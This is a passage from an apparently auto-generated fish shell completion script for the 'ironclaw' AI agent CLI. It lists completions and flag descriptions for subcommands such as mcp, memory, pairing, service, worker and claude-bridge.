complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from test" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l enable -d 'Enable the server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l disable -d 'Disable the server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from toggle" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "add" -d 'Add an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "remove" -d 'Remove an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "list" -d 'List configured MCP servers'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "auth" -d 'Authenticate with an MCP server (OAuth flow)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "test" -d 'Test connection to an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "toggle" -d 'Enable or disable an MCP server'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand mcp; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and not __fish_seen_subcommand_from search read write tree status help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s l -l limit -d 'Maximum number of results' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from search" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from read" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s a -l append -d 'Append instead of overwrite'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from write" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s d -l depth -d 'Maximum depth to traverse' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from tree" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "search" -d 'Search workspace memory (hybrid full-text + semantic)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "read" -d 'Read a file from the workspace'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "write" -d 'Write content to a workspace file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "tree" -d 'Show workspace directory tree'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show workspace status (document count, index health)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand memory; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and not __fish_seen_subcommand_from list approve help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l json -d 'Output as JSON'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from approve" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "list" -d 'List pending pairing requests'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "approve" -d 'Approve a pairing request by code'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand pairing; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and not __fish_seen_subcommand_from install start stop status uninstall help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from start" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from stop" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from uninstall" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "install" -d 'Install the OS service (launchd on macOS, systemd on Linux)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "start" -d 'Start the installed service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "stop" -d 'Stop the running service'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "status" -d 'Show service status'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "uninstall" -d 'Uninstall the OS service and remove the unit file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand service; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand doctor" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand status" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l shell -d 'The shell to generate completions for' -r -f -a "bash\t''
zsh\t''
fish\t''
powershell\t''
elvish\t''"
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand completion" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l job-id -d 'Job ID to execute' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l max-iterations -d 'Maximum iterations before stopping' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand worker" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l job-id -d 'Job ID to execute' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l orchestrator-url -d 'URL of the orchestrator\'s internal API' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l max-turns -d 'Maximum agentic turns for Claude Code' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l model -d 'Claude model to use (e.g. "sonnet", "opus")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand claude-bridge" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "run" -d 'Run the agent (default if no subcommand given)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "onboard" -d 'Interactive onboarding wizard'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "config" -d 'Manage configuration settings'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "tool" -d 'Manage WASM tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "memory" -d 'Query and manage workspace memory'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "service" -d 'Manage OS service (launchd / systemd)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "status" -d 'Show system health and diagnostics'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "completion" -d 'Generate shell completion scripts'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and not __fish_seen_subcommand_from run onboard config tool mcp memory pairing service doctor status completion worker claude-bridge help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from config" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand help; and __fish_seen_subcommand_from tool" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
